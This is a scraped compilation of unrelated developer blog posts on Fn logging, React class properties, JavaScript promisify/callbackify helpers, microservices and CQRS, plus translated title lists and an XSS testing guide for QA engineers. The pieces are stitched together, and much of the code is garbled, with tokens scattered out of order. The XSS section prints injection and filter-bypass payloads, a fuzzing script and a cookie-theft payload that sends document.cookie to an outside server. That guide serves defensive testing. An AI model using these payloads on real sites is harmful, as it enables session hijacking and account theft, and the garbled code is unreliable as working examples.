ID or function or call name. This way, diagnosing what’s happening and what went wrong becomes much easier. Conclusion In this short article we created a boilerplate function and configured our app to automatically send all logs to a cloud log collection system (in our case we used , but you could use any other provider as well). Fn Papertrail Thanks for Reading! Any feedback on this article is more than welcome! You can also follow me on and . If you liked this and want to get notified when I write more stuff, you should subscribe to ! Twitter GitHub my newsletter

Collecting logs from serverless Fn functions

Say goodbye to the medieval class constructor in your React components. While Stateless Function Components (SFCs) are a handy tool in your arsenal, Class Components are still the de-facto way to write React components that utilizes state or lifecycle hooks. ES6 A hypothetical ES6 Class Component might look something like this (over-simplified without error checking, of course). class Foo extends Component {constructor(props) {super(props);this.state = { loading: true };} async componentDidMount() {const data = await loadStuff();this.setState({ loading: false, data });} render() {const { loading, data } = this.state;return ({loading ? <Loading /> : <View {...data} />});}} We initialize our in the , asynchronously load our data in , and render our component based on the state. A pretty standard pattern — at least for me, if you’ve been following my work. state constructor componentDidMount View loading Class properties We’ve all been taught that the is where we initialize our instance properties, in this case. And if you are saying to yourself, “Exactly!”, then you would be absolutely correct… if not for the upcoming ES.next , currently in stage 3. constructor state class properties proposal With it we can now define class properties directly, like this. class Foo extends Component {state = { loading: true };...} will transpile your code and add a for you behind the scenes. Here is the output from Babel when we transpile the code snippet above. Babel constructor Note that Babel is actually passing all args — not just — down to . It is also taking ’s return value and passing it back to the caller. Both may be a bit overkill, but exactly what it should be doing. props super super There’s still a constructor, you just don’t see it. Binding methods Another reason that we’re taught to use the is for binding methods to , like so. constructor this class Foo extends Component {constructor(props) {super(props);this.myHandler = this.myHandler.bind(this);} myHandler() {// some code here that references this}...} Some people ignore this all together by assigning a function expression to a class property, but that’s a different story all-together. Read more about this in my other ES6 React Classes article . Demystifying Memory Usage using ES6 React Classes _Which is more efficient? Binding in the constructor, or using an arrow function as a class property?_medium.com Demystifying Memory Usage using ES6 React Classes Let’s assume for a moment that you are in the camp (and even if you’re not, bear with me). We’ll need to bind in the , right? Not necessarily. We can do the same thing that we did for class properties above. bind constructor class Foo extends Component {myHandler = this.myHandler.bind(this); myHandler() {// some code here that references this}...} Initializing state with props What about when you need to derive your initial from , say for initializing a default value? Surely we need the for that? state props constructor class Foo extends Component {constructor(props) {super(props);this.state = {color: this.props.initialColor};} render() {const { color } = this.state;return (<div>{color}</div>);}} Nope! Again, class properties to the rescue! We have access to both and . this props class Foo extends Component {state = {color: this.props.initialColor};...} Data fetching Maybe we need a to fetch data? Hardly. As we saw in our first code sample, any data loading should be done in . But why ? We do it there so that the fetch isn’t performed when running the component on the server — as is the case when doing Server Side Rendering (SSR) — as is performed server side. constructor componentDidMount componentDidMount componentDidMount not Conclusion We’ve seen that for setting our initial , we no longer need a (or any other instance property for that matter). We also don’t need it for binding methods to . Same for setting initial from . And we would most definitely never fetch data in the . state constructor this state props constructor Why then would we ever need the in a React component? constructor Well… you don’t. [However… If you find some obscure use case where you need to initialize something in a component, both client-side and server-side, you still have an out. There’s always _componentWillMount_ . Internally, React calls this hook right after “newing” the class (which calls the _constructor_ ) on both the client and the server.] So I maintain that for React components: The constructor is dead, long live the constructor! Further Reading Well, not reading, but has a on class properties that you may want to read, um… watch. Kent C. Dodds nice video tutorial You can also read a bunch of (including some on Hooks in React 16.7, {…❤️} Spread Love, and React Best Practices) on the AmericanExpress.io Technology Blog. React based articles I also write for the American Express Engineering Blog. Check out my other works and the works of my talented co-workers at AmericanExpress.io . You can also follow me on Twitter .

The constructor is dead, long live the constructor!

geralt @ pixelbay Every day that I work in JavaScript-land, I stumble across a mixture of callbacks, promises or async/await. I have my own preferences in how I like to handle async code, though sometimes I don’t have a choice because an external library like , , , etc. is using something else. fs serverless aws-sdk One thing I dislike in any codebase is inconsistency. So, if I start with promises, I’m going to use promises throughout. This presents one minor issue; how can I maintain consistency in a project that has external libraries. Well, as the title of this article suggests, I transform them. Callbacks and Promises The most common scenario I run into is an older library using node-style callbacks that I would prefer to use with promises, or async/await, same stuff. As a refresher, your typical node-style callback might look like this: fs.readFile('./kittens.txt', (err, data) => {  if (err) throw err;  console.log(data);}); But this is how I want to access the method: fs.readFile('./kittens.txt')  .then(data => console.log(data)) Often, I just punt and use from . This is the easiest, fastest and approach. But… promisify bluebird.js laziest Importing a library to use but a single function is lazy and should be discouraged. … especially when the function in question would be simple to write. (google ) leftpad broke the internet Stop right now and take a look at the size of your node_modules folder. It’s obscene! It is not uncommon to have a node_modules folder in excess of 1GB or even 2GB! These things add up. Promisify What we want is called a . Function Decorator A is a higher-order function that takes one function as an argument, returns another function, and the returned function is a variation of the argument function. function decorator source Example of what a function decorator would look like: promisify const readFile = promisify(fs.readFile) readFile ('./kittens.txt')     .then(data => console.log(data)) The function , still strongly related to , has been transformed into a variant of the original. This is a . readFile fs.readFile function decorator This should be easy to make. First we create the function that takes 1 argument, and returns a function. When that returned function is called it will return a promise. promisify func function promisify(func) {return () =>new Promise((resolve, reject) => { })} We used the keyword above because we will need access to , which is not available to arrow functions. function this Notice (below) how one additional argument, is appended to the end of . This is because our decorated function will not take a callback as an argument, but the original function does. callback args func func.apply(this, [...args, callback]) Put together it starts to look something like this: function promisify(func) {return ( ) =>new Promise((resolve, reject) => { ...args const callback = ??? **func.apply(this, \[...args, callback\]);**  
}) } The final step also happens to be the easiest, create the . The is simply a node-style that will call either or based on the presence of . callback callback callback resolve reject err Callbackify I ran into a less common situation where what I needed was the reverse. The function I had to create needed to be a node-style callback function. Uggg, my code was already written using promises. The code in question is for AWS lambdas, which are typically written using callbacks so my code ended up looking something like this: module.exports.handler function(event, context, ) {myHandler(event).then(data => ).catch(err => )} = callback callback(null, data) callback(err) Because my library is all Promise based, I would much prefer to write something like this: module.exports.handler = (event, context) =>myService(event) // note: I don’t need context. I ended up creating the reverse of , so I can create my lambda like this: promisify callbackify module.exports.handler = callbackify((event, context) =>myService(event)) Since we’re pretty much doing the same as above, we can zip through this a little quicker. Let’s create with a single argument, , that returns a function. Since the function that is returned will take args + callback as arguments, we are going to have to separate them from each other. callbackify func function callbackify(func) {return function(...args) { }} const onlyArgs = args.slice(0, args.length - 1)const callback = args[args.length - 1] Finally, we need to call on and pass in our . apply func onlyArgs How does async/await fit into all of this? async and await operates almost exactly like promises, so you can use them interchangeably. const readFile = promisify(fs.readFile)const file = await readFile('./kittens.txt) console.log(file) Check that out, you can await a node-style function. Neat! callback The Takeaways Whether you use callbacks, promises or async/await, it is most important to be consistent. Try creating your own functions before importing a library. If you want to tweak how a library function works, create a . function decorator Github I put these functions up on github so that I can easily import them into my projects as I use them in almost every project. You are welcome to use them as well. _functional-helpers — Functional helpers_github.com joelnet/functional-helpers Related util.promisify is being added to node bluebird’s promisify End If you found this interesting, or are interested in functional programming, you might enjoy some of my other articles. _Read the latest stories written by Joel Thoms on Medium. Computer Scientist and Technology Evangelist with 21 years of…_medium.com Latest stories written by Joel Thoms — Medium I know it’s a small thing, but it makes my day when I get those follow notifications on Medium and Twitter ( ). Or if you think I’m full of shit, tell me in the comments below. @joelnet Cheers!

Function decorators: Transforming callbacks into promises and back again

We have created this blog post for business stakeholders managing the development of a software system or product, those looking to find ways to reduce cost and time to market. This post will be useful for those whose technical background is a bit outdated or isn’t sufficient to make that judgment call. We will look at how to approach architecture planning so that the product is scalable and the money is spent wisely. Also, we will show the example of how CQRS can help in the implementation of client applications and whether microservices is indeed the panacea. Why should business care about software architecture It is impossible to consider any software in isolation from the business context. Software products and systems are built to automate processes, improve customer experience, and assist the business to achieve KPIs. Software architecture is created with the business processes in mind, thus being a prerequisite for seamless product development, scaling, and optimization. Cost Good software architecture makes it cheaper to develop and maintain products due to the creation of reusable elements. Furthermore, it provides a sound basis for communication and straightforward decision making further down the line. Thus, it reduces negotiation times and boosts team effectiveness. In case architecting is ignored, making changes to the product in the later stages of the development process will be much more expensive. Risk mitigation The organization of the system, which business processes it takes part in and how it interacts with other systems and applications is determined by the architecture. Effective architecture identifies design risks and allows timely mitigation. Competitive advantage The effective architecture enables faster time to market. The ability to reduce time to market is vital in the environment of highly competitive markets. A business that is able to meet the needs and demands of the market ahead of others gains a competitive advantage. Adaptable business-model The highly competitive and dynamic environment also dictates that the business is adequately prepared when things change. The ability to transform the business model and introduce changes to the product is contingent on the well-thought-out architecture. The architecture roadmap should be aligned with the product roadmap and strategic plans for the business. Otherwise, strategic adaptability will be lost. Technical solutions Product architecture determines the technical solutions and standards. The choice of programming language, platform, framework, and tools determine the level of current and future cost. Technical solutions also affect the speed at which changes can be introduced to the product. This is critical in a situation when MVP isn’t coping with the influx of users. Two extremes Inevitably a question pertaining to architecture design arises — when should one start considering it, what style and patterns to use, and to what extent should the architecture be thought out? We have come across different points of view. On the one side of the spectrum, there is “minimum viable product does not imply an architecture since it is put together as quickly as possible”, on the other — “microservices should be used from the outset so that scalability and flexibility are at the very core of the product”. These are two extremes, each potentially being quite costly. Below we will look at how to find a middle way. Big Ball of Mud A big ball of mud — a type of system with chaotic architecture — is not uncommon. Such systems take shape over time due to a lack of architecture design and planning. It all starts with a request by a business stakeholder: “we just need to get the first users to sign up, we’ll figure out later what to do with retention and how to improve the product.” Iterative and incremental development is widely used. Generally, MVP is developed without thorough architecture design, and oftentimes even without paying much attention to nonfunctional requirements. This is followed by the series of iterations to incrementally add capabilities. Sometimes this results in technical debt and a system that can hardly function, which requires continuous fixing. We know of many cases when an architectural focus was lacking. Every time that would lead to repercussions costing hefty amounts to correct. For example, a product crashing while not being able to cope with the large user load. Consequently, this leads to the team working long hours trying to put out the fires; the number of churned customers grows. The business fails to take off. In other instances, the entire system may require re-coding. It takes more time and effort than all the preceding development work combined. Worst of all, the users have to learn how to use the system all over again, causing frustration and damaging loyalty on their part. As a result, jeopardizing future sales. Microservices isn’t the magic pill What is microservices There are different approaches to architectural design. Microservices — one of the possible styles of architecture. Microservices are opposed to a monolithic architecture, in which different components are combined into a single indivisible unit. Microservice architecture is created in small, independent, modular services. Each service is responsible for a specific task corresponding to a business capability. Services interact through the API (application program interface) — that is an intermediary that links all the elements together. Each API is programmed to fulfill a specific business goal. Using separate services allows you to use the most appropriate technical stack for each specific task. What to pay attention to Microservices is a rather popular approach to designing system architecture. Moreover, some clines insist on building architecture using microservices from the very outset, not knowing that this might be a very expensive approach. To reap the benefits, one should be able to design microservice in the right way. It isn’t enough to define a few independent modules and say that’s microservices. When designing a microservice architecture, several concerns need to be addressed. For a start, how to trace a sequence of calls to different services that resulted in a mistake? Or how to identify which service is a bottleneck in the work of the entire system? Some of these concerns can be addressed with various degrees of success either by ready-made infrastructure solutions (for example, Elastic for logging) or custom infrastructure services. Another thing to keep in mind is data integrity. Therefore, it is necessary to establish mechanisms for ensuring data integrity in advance. Unfortunately, this is often overlooked, which leads to unpleasant consequences in the form of data loss or desynchronization. Moreover, in the early stages of the design process, segregating the system into independent services is a hard task at hand. The structure of the subject field is vague at this point and the exact functionality isn’t clear. Consequently, inappropriate segregation of services will lead to issues and additional costs when implementing required scenarios of work of the system. In some cases, the system simply will not function adequately. Microservices may cost an arm and a leg Depending on the scale of a system, the costs of deploying infrastructure for several services in several configurations, performance, and scalability checks may cost quite a hefty amount. Smaller projects for sure will cost less but these are expenses that are not necessarily justifiable. More often than not, large investments in the architecture design at the early stages of product development are not justified. When working in a situation of uncertainty it’s hard to tell how many customers will get on board, whether the product will take off, or the business will close down. A well thought out architecture is the foundation of a successful product A competent decomposition and description of the business capability holds a central place in the designing of a microservices architecture. Inadequate decomposition of the system into loosely coupled services may hinder revisions and make it impossible to trace and verify all system behavior scenarios. This will lead to failures in snowballing. To avoid this, a high level of understanding of how the system will work on all the levels, who and how will be using it is required. Therefore, it is critical to start thinking of and put a vision of the architecture at the very early stages of product design. Example Say, we build an e-commerce website. Good user experience is shaped by many things. Not the least by accurate order assembly by the Order Picker at the warehouse, convenient online payment and delivery options available to the customer. For that, a thought out the user interface for warehouse staff is required, as well as integration with payment systems and warehouse logistics system. That is underpinned by a thorough understanding of at least the main business processes. Failure to capture business processes may result in omitting a big part of the requirements. In turn, this will result in an impractical system. Moreover, additional resources will be needed to refine the system. These are the expenses that otherwise could have been avoided. The lack of funds is not uncommon in such situations since the money has been spent on features that were not relevant at the time. Without a thorough understanding of how the system services interact with one another, we may start building the wrong functionality at the wrong time. An example of such functionality maybe a CRM system at a time when the customer does not require a unique functionality and a ready-made solution can be used. And only after having studied and understood the environment, can we justifiably decide on the choice of software architecture and decomposition of the system into loosely coupled services, etc. So, where to start? It is highly recommended to hold a one- or two-day workshop with a customer to not only define architectural solutions but also low-fidelity system design and main use scenarios. In the case of startups, an extremely important step is to fill out a so that all the stakeholders understand the viability of the business idea. One of the artifacts of the workshop would be a document describing non-functional requirements for the system. Business Model Canvas One of the outcomes of the workshop may be the decision to pull the plug on the project: it will help stakeholders see the shortcomings of the business idea without spending time and money on technical implementation. It may sound counterproductive, but even such an outcome can build a better understanding and trust between the client and the technical team. Is the game worth a candle? Absolutely! It costs as little as 2 intensive days of work the team. If this step is left out, the majority of the mistakes in product development will cost considerably more to correct. Over time, a business may change in response to external circumstances. For example, businesses all over the world are facing drastic changes right now. The world, as we know it, will never be the same again due to the pandemic of Covid-19. Businesses should always be ready to adapt and change their business models. As mentioned above, this flexibility is underpinned by an effective architecture and by means of tried and tested practices, such as the CQRS pattern. For instance, using CQRS at the logical level at the beginning of the design process will enable us to physically locate the services as the business and product scale. This, in turn, will enable the reuse of the functionality by splitting it into independent components. At the early stages, it is not that important to have services physically segregate. However, if you attempt to do that early on you may waste resources on monitoring and implementing distributed transactions and other dependencies that are not yet essential at the stage. CQRS at the logical level CQRS definition CQRS (Command-Query Responsibility Segregation) is a popular and widely used software architecture design pattern. It implies that all methods (i.e. certain sets of actions) in a program can be of two types: either requests that do not alter the state of the program or commands that alter the state of the program. In other words, queries can only read data, while commands update data. What we did In this , we had a task to develop a system for a client managing a fleet of sea vessels. The software was to help our client to optimize and manage the automation of business processes. The client was very specific about the strict timelines and restricted budget so we had to find a way to deliver the system fast and in a cost-efficient manner. We opted for the approach of implementing CQRS at the level of logical architecture. project By observing the basic principles of SOLID, namely Dependency Inversion and Dependency Injection, and correct Inversion of Control Containers, all the commands and queries become easily manageable elements which can be reassembled elsewhere in the system. The diagram depicts 3 parts of the system that can work similarly to the Model: Interaction of the Admin Office Desktop App with the Model Interaction of the Ship Desktop Mechanic App with the Model Interaction of the SyncService with the Model We noticed that the users, who use the Admin Office Desktop App in the office, more often read data from the vessels rather than make any data entries. And the users who are on board the vessels in the offline zone, on the contrary, more often submit data rather than read. Why does it matter? It matters because whilst the architecture, as it is at this stage, is the foundation for further scalability of the system, it certainly has a greater potential to make further development, scalability, and maintenance of the system cheaper and trouble-free. If need be, it would be significantly easier to single out query contexts and build services with the DB optimized to enable reads, as well as to single out command contexts into separate services. Examples of segregation The following are a few examples of the main # C classes that you can use in your projects. {
      IQueryHandler<TQuery, TResult> CreateQueryHandler<TQuery, TResult>();
 
      IAsyncQueryHandler<TQuery, TResult> CreateAsyncQueryHandler<TQuery,
TResult>();
      ICommandHandler<TCommand> CreateCommandHandler<TCommand>();
 
      IAsyncCommandHandler<TCommand> CreateAsyncCommandHandler<TCommand>();
    } < >
    { Execute(TCommand command);
    } < , >
    {
        TResult Execute(TQuery query);
    } : { readonly IResolutionRoot _resolutionRoot; NinjectFactory(IResolutionRoot resolutionRoot)
        {
            _resolutionRoot = resolutionRoot;
        } IAsyncCommandHandler<TCommand> CreateAsyncCommandHandler<TCommand>()
        { _resolutionRoot.Get<IAsyncCommandHandler<TCommand>>();
        } IAsyncQueryHandler<TQuery, TResult> CreateAsyncQueryHandler<TQuery, TResult>()
        { _resolutionRoot.Get<IAsyncQueryHandler<TQuery, TResult>>();
        } ICommandHandler<TCommand> CreateCommandHandler<TCommand>()
        { _resolutionRoot.Get<ICommandHandler<TCommand>>();
        } IQueryHandler<TQuery, TResult> CreateQueryHandler<TQuery, TResult>()
        { _resolutionRoot.Get<IQueryHandler<TQuery, TResult>>();
        }
    } /// <summary> ///   Universal factory for creating queries. ///   To be implemented in Composition Root (web api project,  website main prototype, etc) /// </summary> public interface IHandlersFactory /// <summary> ///   Basic interface for the command /// </summary> public interface ICommandHandler TCommand void /// <summary> ///   Basic interface for the query /// </summary> public interface IQueryHandler TQuery TResult /// <summary> ///  Factory Ninject to create standardised commands and queries /// </summary> public class NinjectFactory IHandlersFactory private public public return public return public return public return Examples of Binding of queries with Ninject override Load()
        { Bind<IQueryHandler<GetCertificateByIdQuery, Certificate>>(). <GetCertificateByIdQueryHandler>();
            Bind<IQueryHandler<GetCertificatesQuery, <Certificate>>>(). <GetCertificatesQueryHandler>();
            Bind<IQueryHandler<GetCertificateByShipQuery, <Certificate>>>(). <GetCertificateByShipQueryHandler>();
…………. public void // queries To List To List To After the injection of IHandlerFactory into the class, you can use your commands and queries as follows. Query example:
Ship ship = mHandlersFactory.CreateQueryHandler<GetShipByIdQuery, Ship> . );

Command example:
mHandlersFactory.CreateCommandHandler<DeleteReportCommand> . ); () Execute( GetShipByIdQuery( ) new id () Execute( DeleteReportCommand( ) new report By all means, all architectural decisions must be based on and developed according to the requirements and situation. No need to design the architecture for the entire product or system outright. The following questions will guide you through the decision making process. Why is the structure of the software product like this? Why is this particular implementation being used here? How will a new implementation fit into the overall structure of the system? How will the non-functional requirements of the entire system be met? It is also very important to allocate the Bounded Context in the system. This practice helps to depict the customer’s business structure, find a common language with a client, and manage the regression in the product. But we’ll cover this in the next article. Benefits of CQRS The basic architecture of the application was built in compliance with various principles and design patterns: MVVM, SOLID, CQRS, etc. This allowed reusing functionality in separate client applications. With that, the implementation did not take much time and was cost-effective. By the time the development was to commence the team had already developed classes and the same level of understanding of the application architecture. In subsequent refinements, it fully paid off: about 40% of functionality could simply be flexibly reused. With this approach, the customer significantly reduced the cost of implementing functions by roughly 30–40%. In conclusion The Agile approach to development is mistakenly interpreted as “you don’t need to design anything in advance, just build, release and get the feedback. Should we need to improve the operational speed of the product or add new capabilities more rapidly, we’ll just throw microservices in. At every corner, they saw how effective and versatile microservices are.” uch a thoughtless approach, generally, results in a poor product and wasted cash. On the other hand, it is practically impossible to come up with a fully-fledged design right off the bat. A balanced approach is the best. S Firstly, having a vision for the product architecture provides a sound basis for current and future decisions. As a result, this will have a huge impact on the cost of the development as the product matures. Secondly, documenting the adopted architectural decisions will allow for the understanding of certain decisions further down the line. Thirdly, regular checks of the environment in which the product operates, allows to reduce the risks of failures and justifies the decisions regarding refinements or change. Thus, giving some thought to what a product’s architecture will look like and using competent practices when writing code provides a solid foundation for scaling a product in the future.

Microservices and CQRS: Why Business Should Care

Dependency Inversion Principle in Go: What It Is and How to Use It

ডিপেনডেন্সি ইনভার্সন প্রিন্সিপল ইন গো: এটি কী এবং কীভাবে এটি ব্যবহার করবেন

Prinzip der Abhängigkeitsumkehrung in Go: Was es ist und wie man es anwendet

Principio de inversión de dependencia en Go: qué es y cómo usarlo

Principe d'inversion de dépendance dans Go : qu'est-ce que c'est et comment l'utiliser

गो में निर्भरता व्युत्क्रम सिद्धांत: यह क्या है और इसका उपयोग कैसे करें

Go における依存性逆転の原則: その内容と使い方

Go의 종속성 반전 원리: 정의 및 사용 방법

Princípio de inversão de dependência em Go: o que é e como usá-lo

Принцип инверсии зависимостей в Go: что это такое и как его использовать

Go'da Bağımlılığı Tersine Çevirme Prensibi: Nedir ve Nasıl Kullanılır?

Nguyên tắc đảo ngược phụ thuộc trong Go: Nó là gì và cách sử dụng nó

Go 中的依赖倒置原则：它是什么以及如何使用它

Using Firebase Authentication with the Latest Next.js Features

সর্বশেষ Next.js বৈশিষ্ট্য সহ Firebase প্রমাণীকরণ ব্যবহার করা

Verwenden der Firebase-Authentifizierung mit den neuesten Next.js-Funktionen

Uso de la autenticación de Firebase con las últimas funciones de Next.js

Utilisation de l'authentification Firebase avec les dernières fonctionnalités Next.js

नवीनतम Next.js सुविधाओं के साथ फायरबेस प्रमाणीकरण का उपयोग करना

Usando o Firebase Authentication com os recursos Next.js mais recentes

Использование аутентификации Firebase с новейшими функциями Next.js

Firebase Kimlik Doğrulamasını En Son Next.js Özellikleriyle Kullanma

Sử dụng Xác thực Firebase với các tính năng Next.js mới nhất

将 Firebase 身份验证与最新的 Next.js 功能结合使用

According to statistics I’ve seen and my experience, XSS vulnerabilities continue to be a prevalent threat to web applications, posing risks of data theft, session hijacking, and website issues. I decided that I could spend more time researching this vulnerability type and share with you at least this overview-like basic knowledge so many QA and dev experts may keep in mind some ways to test their apps against this issue. This article explores different types of XSS, testing methodologies, and automation approaches and provides some examples and payloads for effective penetration testing. allows attackers to inject malicious scripts into web pages viewed by other users, exploiting vulnerabilities in client-side code execution. Understanding the different types of XSS vulnerabilities and using proper testing strategies are crucial to building secure web apps protected against such attacks. Cross-site scripting (XSS) XSS exploits occur when untrusted user input is inadequately sanitized and executed within a web application, enabling attackers to inject and execute malicious scripts in the context of other users' browsers. Types of XSS Vulnerabilities Reflected XSS Occurs when user-supplied data is echoed back in the response without proper validation. injected through a URL parameter. Example: <script>alert('XSS_DEMO')</script> These exploits occur when a web application reflects unvalidated user input to the user's browser without proper sanitization. In this attack, the attacker crafts a malicious URL containing script code, which, when clicked by the victim, is executed within the context of the vulnerable web page. The malicious script is not stored on the server but is instead reflected directly from the user's input. Reflected XSS vulnerabilities are often leveraged in phishing attacks or to manipulate the user's browsing experience. The impact can be severe, ranging from cookie theft to session hijacking. Stored XSS Malicious script is permanently stored on the server and executed when accessed by other users. Malicious script stored in a comment/post on a forum post or social network profile page. Example: Also known as persistent XSS, arises when an attacker injects malicious script code into a web application, which is then stored on the server side. This injected script is later retrieved and executed whenever the vulnerable page is accessed by other users. Stored XSS attacks are particularly dangerous as the injected script persists over time, potentially affecting multiple users and leading to widespread exploitation. Attackers commonly target user-generated content such as comments, forum posts, entities names which are displayed on web pages or profile fields to execute their malicious payloads. The consequences of stored XSS can include data theft, account takeover, and website defacement, posing significant risks to both users and the affected organization. DOM-based XSS Script execution relies on the manipulation of the DOM on the client side. JS code retrieves and executes user-controlled data from the URL hash. Example: It occurs when a web application dynamically manipulates the DOM based on untrusted user input in an unsafe manner. Unlike traditional XSS attacks, which involve server-side processing, DOM-based XSS manifests entirely on the client side. Attackers exploit DOM-based XSS by manipulating client-side scripts to execute arbitrary code within the victim's browser. This type of XSS is often harder to detect and mitigate, as the vulnerability resides within the client-side code and may not be evident during server-side testing. DOM-based XSS attacks can lead to various consequences, including session hijacking, data exfiltration, and unauthorized actions on behalf of the user, highlighting the importance of client-side security measures and vigilant web app development practices. Self-XSS It is a social engineering attack where an attacker tricks a user into executing malicious code within their browser. Unlike traditional XSS attacks that target multiple users, Self-XSS exploits the user's trust to execute code within their session. Typically, attackers lure victims into pasting seemingly innocent-looking JS code into their browser's developer console or some fields of a website under the guise of a harmless action, such as unlocking a feature or earning rewards. Once executed, the injected code can potentially compromise the victim's account, steal sensitive information, or perform unauthorized actions on their behalf. Despite being limited to the victim's session, Self-XSS remains a threat, emphasizing the importance of user education and awareness to recognize and avoid such deceptive tactics. Testing Automation Use security testing tools such as OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix, etc for automated scans for XSS. Configure tools to crawl the application, identify input vectors, and inject payloads to detect XSS vulnerabilities. Analyze scan results for identified vulnerabilities, reproduce them manually, create PoC, understand the potential impact, and prioritize fixing issues. You can write some scripts; I prefer Python, for example: import requests

def test_xss(url, parameter):
    payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert(1)>",
        # list of your payloads
    ]
    
    for payload in payloads:
        modified_url = f'{url}?{parameter}={payload}'
        response = requests.get(modified_url)
        if payload in response.text:
            print(f'Potential XSS detected here - {modified_url}')

# example
test_xss("https://testwebsite.com/search", "query_param_name") Manual Testing Identify input vectors susceptible to XSS injection (e.g., input fields, URL params). You can use crawlers and sniffers to identify vectors more efficiently. Craft payloads to exploit XSS vulnerabilities (e.g., script tags, event handlers). Analyze responses to determine if payloads are reflected or executed. Create PoC, understand the potential impact, and prioritize issues fixing. Steps: Enter a script tag, followed by some JS code, into the input fields of your app. For example, basic XSS payloads: <script>alert('XSS');</script>

(%0ejavascript:alert(/XSS/))

<script>alert('XSS')</script>
// Display alert dialog with 'XSS' message.

<img src=x onerror=alert(((123)>
// Load broken image, trigger alert with '123'.

// Cookie Theft Payload:
<img src="http://website.com/stealcookie?cookie="+document.cookie>
// Sends victim's cookies to attacker-controlled server.

// DOM-based XSS Payload:
#"><img src=x onerror=alert(123)>
// Exploits DOM manipulation, triggers alert on vulnerable pages. Submit the input and see if the script executes. If it does, then the application is vulnerable to XSS attacks. If the script doesn't execute, try modifying the input by adding other HTML tags, such as or and see if they are reflected on the page, (this one almost always works for me): <img> <iframe> , for example <b>t</b>#`"/*—est You can add a script to query params of your web app URL or a user name, , or any text that will be displayed on the app page that you can change. uploaded file names Be aware of front-end validations of inputs. Always try to submit the value using a direct request (using Postman, Burp, or any similar tools). Check the browser console in dev tools because sometimes you may not see any visible changes on the page, but some symbols, e.g. may break the page’s JS/HTML, and you’ll see a warning in the console that could be a hint for you on how to modify your payload to get an XSS PoC `"/*— Use fuzzing and a list of payloads - automate this approach when possible or use special tools for it. Personally, I like using , it is a very useful resource, in my opinion. payloads and info from here Black-Box Testing Identifying input vectors vulnerable to XSS injection. Crafting and injecting XSS payloads to assess impact and identify vulnerable points. Gray-Box Testing Analyzing source code and sanitization procedures for potential XSS. Leveraging partial knowledge of the application for targeted testing. Exploiting XSS XSS PoC Demonstrates confirming XSS vulnerability by injecting payloads executing arbitrary JS. Utilizing alternative payloads like function for Chrome browsers post version 92. print() Advanced XSS Exploitation To steal cookies, perform session hijacking, or execute arbitrary code. To impersonate users, capture credentials, or deface web pages. Bypassing XSS Filters Evading common XSS filters through various techniques such as tag attribute value insertion, obfuscation, and HTTP Parameter Pollution (HPP). Example scenarios are showcasing bypassing filter mechanisms to execute XSS payloads successfully. Prevention Techniques Input Validation and Output Encoding Implement input validation mechanisms (FE and BE) to ensure that user-supplied data is okay with expected formats and does not contain malicious code. Sanitize and validate all user inputs on the server side before processing or storing them. Encode output data appropriately to prevent it from being interpreted as active content by the browser. Utilize encoding techniques such as HTML entity encoding, URL encoding, and JS escaping based on the context of the output data. Content Security Policy (CSP) Implement Content Security Policy (CSP) headers to define and enforce security policies regarding the execution of scripts, stylesheets, and other resources within the web application. CSP allows administrators to restrict the sources from which scripts can be loaded, mitigating the risk of XSS attacks by preventing the execution of unauthorized scripts. Configure CSP directives to specify trusted domains, inline script and style usage, and script nonces, effectively reducing the attack surface for XSS. Context-Specific Output Encoding Encode data based on the context in which the output data is being rendered. Apply different encoding methods for HTML, JS, CSS, and other contexts to ensure comprehensive protection against XSS. , use HTML entity encoding for HTML content, JavaScript escaping for inline script contexts, and CSS escaping for style attributes to prevent script injection and maintain data integrity across various output contexts. For example Input Whitelisting and Blacklisting Implement input whitelisting and blacklisting to filter and validate user inputs based on predefined allowlists and denylists of permitted and prohibited characters, patterns, or content types. Whitelisting involves explicitly defining the expected input formats and rejecting any inputs that do not conform to these specifications. identifies and blocks known malicious inputs or patterns, although it due to the potential for evasion through encoding or obfuscation techniques. Blacklisting may be less effective Security Headers and Sanitization Libraries Use security headers such as X-XSS-Protection, X-Content-Type-Options, and X-Frame-Options to improve web app security and prevent various attack vectors, including XSS. Integrate third-party sanitization libraries and frameworks into the development stack to automate input validation, output encoding, and other security-critical tasks. to address emerging threats and vulnerabilities effectively. Regularly update and maintain these libraries Secure Dev Practices and Security Awareness Promote secure development practices within the dev and QA teams, emphasizing the importance of writing secure code, conducting thorough code reviews, and performing security testing throughout the software development lifecycle. Foster a culture of security awareness among devs, QA engineers, and other stakeholders, encouraging continuous learning and knowledge sharing regarding XSS and other vulnerabilities, exploitation techniques, and preventive measures. Invest in ongoing training programs, courses, seminars, conferences, and resources to equip team members with the skills and expertise needed to identify, deal with, and prevent XSS effectively. XSS poses persistent threats to web apps, risking data breaches and user trust. Understanding XSS types and testing methods is crucial for effective mitigation. Prevention techniques such as input validation, output encoding, and CSP implementation improve app security. By prioritizing security practices and collaboration, teams can protect their apps against XSS and ensure adequate web app security. If you are a beginner and interested in cybersecurity and penetration testing or just want to improve your app to make it more secure, you can read my articles on these topics: https://hackernoon.com/vulnerability-scanners-essentials https://hackernoon.com/cybersecurity-essentials-practical-web-app-security-testing-tips-for-qa-engineers https://hackernoon.com/defending-your-web-app-a-guide-to-rate-limiting-and-brute-force-attack-prevention For more details about XSS and payloads, you can find the following resources: https://owasp.org/www-community/attacks/xss/ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45 A crucial reminder: Always conduct penetration testing with explicit permission and within a controlled environment. This ethical approach ensures that security assessments align with responsible testing protocols, preventing inadvertent compromises to systems and upholding the integrity of both the testing process and overarching cybersecurity strategy.

Cross-Site Scripting (XSS) Vulnerabilities: Testing Strategies and Examples

ক্রস-সাইট স্ক্রিপ্টিং (এক্সএসএস) দুর্বলতা: পরীক্ষার কৌশল এবং উদাহরণ

Cross-Site Scripting (XSS)-Schwachstellen: Teststrategien und Beispiele

Vulnerabilidades de secuencias de comandos entre sitios (XSS): estrategias de prueba y ejemplos

Vulnérabilités de Cross-Site Scripting (XSS) : stratégies de test et exemples

क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरियाँ: परीक्षण रणनीतियाँ और उदाहरण

クロスサイト スクリプティング (XSS) の脆弱性: テスト戦略と例

XSS(교차 사이트 스크립팅) 취약점: 테스트 전략 및 예

Vulnerabilidades de Cross-Site Scripting (XSS): estratégias de teste e exemplos

Уязвимости межсайтового скриптинга (XSS): стратегии и примеры тестирования

